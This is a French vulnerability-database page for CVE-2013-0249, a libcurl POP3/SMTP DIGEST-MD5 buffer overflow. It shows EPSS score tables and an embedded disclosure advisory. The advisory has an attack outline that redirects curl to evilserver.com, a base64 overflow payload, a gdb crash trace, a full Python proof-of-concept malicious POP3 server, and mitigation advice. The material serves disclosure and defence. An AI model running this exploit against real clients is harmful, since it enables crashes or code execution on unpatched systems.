CVE-2013-0249 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	36.8%	–	–
2022-04-03	–	–	36.8%	–	–
2023-02-19	–	–	35.49%	–	–
2023-03-12	–	–	–	92.32%	–
2023-06-25	–	–	–	92.32%	–
2024-06-02	–	–	–	92.32%	–
2024-12-22	–	–	–	89.77%	–
2025-01-19	–	–	–	89.77%	–
2025-03-18	–	–	–	–	53.7%
2025-03-18	–	–	–	–	53.7,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2023-02-19	98%
2023-03-12	98%
2023-06-25	99%
2024-06-02	99%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-18	98%

cURL buffer overflow Wed 06 February 2013 Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack. Vendor notified, CVE-2013-0249 relased. Attack Concept Outline We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/ GET / HTTP/1.0 Host: evilserver.com server answers with HTTP/1.0 302 Found Location: pop3://x:x@evilserver.com/. "smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers +OK POP3 server ready curl sends CAPA servers answers with DIGEST-MD5 only +OK List of capabilities follows SASL DIGEST-MD5 IMPLEMENTATION dumbydumb POP3 server so, libcurl has to send AUTH DIGEST-MD5 then server sends the payload + cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg= and overflow happens because of fixed realm buffer size realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8 how it looks in gdb Program received signal SIGSEGV, Segmentation fault. 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) bt #0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 #1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message () from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4 #2 0x4141414141414141 in ?? () ... #1469 0x4141414141414141 in ?? () #1470 0x656d616e72657375 in ?? () Cannot access memory at address 0x7fff63b8b000 Original exploit: pop3d.py. #!/usr/bin/env python # -*- coding: utf-8 -*- # curl pop3 CVE-2013-0249 by Volema/MSLC import socket import base64 host = "localhost" port = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) sock, addr = s.accept() sock.send('+OK POP3 server ready\n') while True: buf = sock.recv(1024) print buf if buf.find('USER') > -1: sock.send('+OK\n') if buf.find('PASS') > -1: sock.send('-ERR 999\n') if buf.find('CAPA') > -1: resp = '+OK List of capabilities follows\n' resp += 'SASL DIGEST-MD5\n' resp += 'IMPLEMENTATION dumbydumb POP3 server\n' resp += '.\n' sock.send(resp) if buf.find('QUIT') > -1: sock.send('+OK') break if buf.find('AUTH') > -1: realm = 'A'*128 payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm resp = '+ '+base64.b64encode(payload)+'\n' print resp sock.send(resp) sock.close() Mitigation We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.